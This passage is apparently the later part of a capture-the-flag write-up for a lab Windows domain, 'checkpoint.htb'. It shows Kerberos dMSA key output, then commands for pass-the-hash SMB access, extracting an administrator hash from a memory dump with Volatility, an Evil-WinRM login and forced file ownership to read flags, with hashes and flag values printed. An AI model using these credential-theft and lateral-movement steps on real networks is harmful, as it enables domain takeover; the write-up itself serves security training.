bG768mzc2fdGtdK0K0G0B098R0b0vKadM01582o/N2mEw1KG0X/0wJqC5CzCZLx0X0SAR0Z1h1L10J2eUa1f8x+EU1x0n
PotA097KYN13W40qYh0IZX46A1J4hr3W71xssxTogntLkzLH9Gdy4Uazn5LB0RqC30y5TMuG0Kus0hgYrev3HrgAMuKwWg
081G0z1U1Pw4K2UHLw0MTf058T0A14ep0p19M01G10ag07uK4K4av1K21v0vH4K15R0pLq11539Zp00u0m1E20Ejje0K0W
00wPFR8p1pFLOV/6b+HEz2j1f0G0/skyZD/3ZF061510m6h/V8mW2n894/7080VPZP00u0PPrxWLASRd1tcb1xkz2TfAq00V
vcMozG0dJ3pXyCw7FFhy0hcs2QCFD1smH73+2A767H061U7r+uYKb5Xw0nf3NcU0G0Ujgff0wfygAwIBAKX9AS8X287jCB
66CB0DCB1CB4QARkCmgAwIBEQE1B0CAC6R5R0RQ03V8gtH1Lw92R53+12v4G0870ZHL1jXKE0Qw5j0Gjja38vaw50Lmh0YqIX
H0gAwIBAE0W40w0Zm0Z012553B00AC0C0p0B021wMjYwMjESOUJH0Z0W0R0G0Y0D2W0Y0AT0NT0G0L0E0P0W1Aj
NjA2MTx0NTU2ZappEY0Z1wMjYwMjESOUJH0Z0W0R0G0Y0D2W0Y0AT0NT0G0L0E0P0W1Aj
0810T0L0VCSIVEI=
[+] DMSA TGT stored in ccache file evil-dmsa_lr.ccache

DMSA current keys found in TGS:
AES256: 28e0527fc25d505810b14556cb73b5beb481671a8c59c6551a778af3d8801537
AES128: 7c8ebc801a4085ff2fdebe6303bc6c8
RC4: 0c4e20190112690b076d28304eb0c0f

DMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e10801eb077aca74b0d78a112af43ac9
```

Step 5: Memory Forensics & Domain Admin Hash Extraction

With the `svc_deploy` account compromised via Pass-the-Hash, we gain access to administrative backup architectures.

1. Download the Virtual Memory Dump:

We authenticate into the `VMBackups` share using the dumped NT hash and download a raw snapshot file:

```
smbclient //10.129.17.33/VMBackups -U 'checkpoint.htb/svc_deploy%<HASH>'
--pw-nt-hash -c "get 'Windows Server 2019-Snapshot1.vmem'"
```

2. Extract Hashes with Volatility 3:

We parse the core file dump locally using Volatility to extract domain database entries:

```
vol -f 'Windows Server 2019-Snapshot1.vmem' windows.hashdump.Hashdump |
grep -i max.palmer
```

This yields the NT Hash for the lead Domain Administrator account, `max.palmer`

Step 6: Full Domain Compromise & Flags

Using **Evil-WinRM**, we log in directly as the Administrator using Pass-the-Hash.

Bash

```
evil-winrm -i 10.129.17.33 -u Administrator -H <HASH>
```

```

[*]$ evil-winrm -i 10.129.17.33 -u Administrator -H f29e9c014295b9b32139b09a2790be3b
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> ls

```

Root Flag Recovery

The root flag is located on the desktop profile of the lead domain administrator
(max.palmer):

```
[System.IO.File]::ReadAllText("C:\Users\max.palmer\Desktop\root.txt")
```

User Flag Recovery

The user flag is located on Ryan Brooks' desktop profile. Because WinRM applies explicit Access Control restrictions and a Read-Only property (-r), we clear its attributes and force ownership using administrative rights to print the final value:

```

attrib -r -s -h C:\Users\ryan.brooks\Desktop\user.txt
takeown /f C:\Users\ryan.brooks\Desktop\user.txt /a
icacls C:\Users\ryan.brooks\Desktop\user.txt /grant Administrators:F
cat C:\Users\ryan.brooks\Desktop\user.txt

```

```

*Evil-WinRM* PS C:\Users\ryan.brooks\Desktop> ls

Directory: C:\Users\ryan.brooks\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---             6/18/2026   8:58 PM             34 user.txt

*Evil-WinRM* PS C:\Users\ryan.brooks\Desktop> cat user.txt
Access to the path 'C:\Users\ryan.brooks\Desktop\user.txt' is denied.
At line:1 char:1
+ cat user.txt
+ ~~~~~
+ CategoryInfo          : PermissionDenied: (C:\Users\ryan.brooks\Desktop\user.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
*Evil-WinRM* PS C:\Users\ryan.brooks\Desktop> attrib -r -s -h C:\Users\ryan.brooks\Desktop\user.txt
Access denied - C:\Users\ryan.brooks\Desktop\user.txt
*Evil-WinRM* PS C:\Users\ryan.brooks\Desktop> takeown /f C:\Users\ryan.brooks\Desktop\user.txt /a
SUCCESS: The file (or folder): "C:\Users\ryan.brooks\Desktop\user.txt" now owned by the administrators group.
*Evil-WinRM* PS C:\Users\ryan.brooks\Desktop> icacls C:\Users\ryan.brooks\Desktop\user.txt /grant Administrators:F /t /c
processed file: C:\Users\ryan.brooks\Desktop\user.txt
Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Users\ryan.brooks\Desktop> cat user.txt
60d8a542fe3a83075fc184f557e78896

```